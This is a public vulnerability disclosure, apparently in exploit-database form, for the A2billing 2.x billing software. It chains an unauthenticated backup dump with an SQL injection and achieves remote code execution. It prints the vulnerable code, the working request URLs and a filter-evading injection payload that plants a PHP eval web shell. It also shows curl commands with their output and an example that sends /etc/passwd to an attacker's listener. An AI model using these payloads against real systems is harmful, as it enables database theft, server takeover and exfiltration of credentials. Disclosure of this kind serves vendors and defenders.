110 lines
No EOL
4.6 KiB
Text
110 lines
No EOL
4.6 KiB
Text
# Title : A2billing 2.x , Unauthenticated Backup dump / RCE flaw
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# Vulnerable software : A2billing 2.x
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# Author : Ahmed Sultan (0x4148)
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# Email : 0x4148@gmail.com
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# Home : 0x4148.com
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# Linkedin : https://www.linkedin.com/in/0x4148/
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A2billing contain multiple flaws which can be chained together to achieve shell access over the a2b instance
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If you're looking for deep technical stuff , check out the full writeup at https://0x4148.com/2016/10/28/a2billing-rce/
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1 . backup dump
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Vulnerable code
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File : admin/public/form_data/FG_var_backup.inc
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getpost_ifset(array('name','path','creationdate'));
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$HD_Form = new FormHandler("cc_backup","Backup");
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$HD_Form -> FG_DEBUG = 0;
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if ($form_action!='ask-add')
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check_demo_mode();
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if ($form_action == 'add'){
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$backup_file = $path;
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if (substr($backup_file,-3)=='.gz'){
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// WE NEED TO GZIP
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$backup_file = substr($backup_file,0,-3);
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$do_gzip=1;
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}
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// Make the backup stuff here and redirect to success page
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//mysqldump -all --databases mya2billing -ua2billinguser
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-pa2billing > /tmp/test.sql
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//pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql
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mya2billing
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if (DB_TYPE != 'postgres'){
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$run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."'
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-p'".PASS."' > '{$backup_file}'";
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}else{
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$env_var="PGPASSWORD='".PASS."'";
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putenv($env_var);
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$run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}'
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".DBNAME;
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}
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if ($FG_DEBUG == 1 ) echo $run_backup."<br>";
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>>>> exec($run_backup,$output,$error);
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if ($do_gzip){
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// Compress file
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$run_gzip = GZIP_EXE." '$backup_file'";
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if ($FG_DEBUG == 1 ) echo $run_gzip."<br>";
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>>>> exec($run_gzip,$output,$error_zip);
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}
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File is being called at "admin/Public/A2B_entity_backup.php" before the authentication checking proccess take place so to dump full backup we can just move to :
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http://HOST//a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.sql
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backup will be found at admin/Public/0x4148.sql
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few hardening is being carried out by the application which did great job preventing direct RCE flaw , so we had to figure out sth else
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2 . SQL injection
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File name : ckeckout_process.php
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Line 287 : $Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name,
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agent_email_address, item_name, item_id, item_quantity, payment_method,
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cc_type, cc_owner, cc_number, " .
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" cc_expires, orders_status, last_modified, date_purchased,
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orders_date_finished, orders_amount, currency, currency_value) values (" .
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" '".$transaction_data[0][1]."', '".$customer_info[3]."
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".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
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$customer_info[0]."', 1, '$pmodule',
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'".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."',
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'".$transaction_data[0][6]."', '".
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$transaction_data[0][7]."', $orderStatus, '".$nowDate."',
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'".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '".
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$currencyObject->get_value($currCurrency)."' )";
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$result = $DBHandle_max -> Execute($Query);
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By exploiting this flaw we can insert malicious data into the db using the following query <thanks to i-Hmx for the great hint>
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transactionID=456789111111 unise//**lecton selinse//**rtect
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1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**-
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-&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb
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After sending this request the following payload "<?php
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eval(base64_decode($_POST[nailit])); ?>" will be injected directly into the
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DB
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3 . RCE
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after injecting the malicious code we can just dump backup again but this time we will name it "0x4148.php" , so our code can be executed :)
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[root@localhost Public]# curl '
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https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.php' --insecure
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[root@localhost Public]# cat 0x4148.php | grep nailit
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INSERT INTO `cc_payments_agent` VALUES (295,2,'
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','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28
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10:57:10','2016-10-28 10:57:10','2016-10-28
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10:57:10','usd','0.000000'),(296,2,'
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','','balance','',1,'plugnpay','','<?php
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eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28
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10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000');
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Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php for instance system(‘x=$(cat /etc/passwd);curl -d “$x”
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http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listener
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Exploit timeline :
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01/10/2016 : vulnerability reported to vendor
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06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
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04/09/2017 : Public release
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Credits,
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Ahmed Sultan - Cyber Security Analyst @ EG-CERT |